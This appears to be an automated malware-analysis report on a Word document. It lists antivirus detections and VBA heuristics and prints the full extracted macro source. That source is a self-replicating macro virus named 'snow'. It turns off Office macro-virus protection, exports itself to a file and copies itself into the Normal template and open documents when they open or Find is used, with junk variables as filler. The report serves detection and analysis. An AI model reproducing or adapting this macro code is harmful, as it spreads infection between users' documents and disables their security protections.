MALICIOUS
228
Risk Score
Heuristics 5
-
ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Pivis-2
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2044 bytes |
SHA-256: 0a7121959fb6d3f693caa1beb83a5619440a12f5935218ffc7e23149315fba9e |
|||
|
Detection
ClamAV:
Doc.Trojan.Vmpc-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "snow"
Sub snow()
On Error Resume Next
GxThCgFz = SxSo10850 & NwKo13257
MoFqBzLk = FiAl11910 & EiQk7931
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
VBE.ActiveVBProject.VBComponents("snow").Export "c:\snow.drv"
AqPv14389 = JhUpFlUr & UnHi8578 & Int(Rnd * 8030)
ActiveDocument.ReadOnlyRecommended = False
IhFv3759 = JwTnNvDk & MrTf9932 & Int(Rnd * 3161)
FyNeUpEi = EiAt15153 & SlOu6107
If NormalTemplate.VBProject.VBComponents.Item("snow").Name <> "snow" Then UzKy541919704 = True
UvGm12280 = MeFyHsBu & LzNz13572 & TgHxBqTr & UtEk5266
If ActiveDocument.VBProject.VBComponents.Item("snow").Name <> "snow" Then UvQz19701 = True
PyLn8459 = RhIeTlQp & KmRe4477 & Int(Rnd * 6174)
If UzKy541919704 = True And UvQz19701 = False Then Set RzMr197054198 = NormalTemplate.VBProject.VBComponents
If UzKy541919704 = False And UvQz19701 = True Then Set RzMr197054198 = ActiveDocument.VBProject.VBComponents
RzMr197054198.import "c:\snow.drv"
SxNkLfHo = IqLf7397 & OoRi14644
If activeinst = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If UvQz19701 = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
AuQsSsDw = LrCq12980 & JkMx10885
PxNk8538 = OpJxDiVg & QjIq13642 & IqSrHeAl & LfAr1910
VsBuMwHm:
End Sub
Sub EditFind()
On Error Resume Next
Dialogs(wdDialogEditFind).Show
Call snow
DvTw16439 = MfUjTtDr & DgJh7823 & Int(Rnd * 9936)
VgDu7310 = OuAvNvCr & UfEl18937 & RqLsEtRs & BpFe9953
End Sub
Sub AutoOpen()
On Error Resume Next
BySi13275 = BiUhTqCj & HgJf5516 & Int(Rnd * 9426)
PvTe16905 = CoClCnGi & VoHw3689 & Int(Rnd * 555)
Call snow
FoLx15059 = MkIyCwBr & QyHl9293 & LzDkGwKl & NjBh8893
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.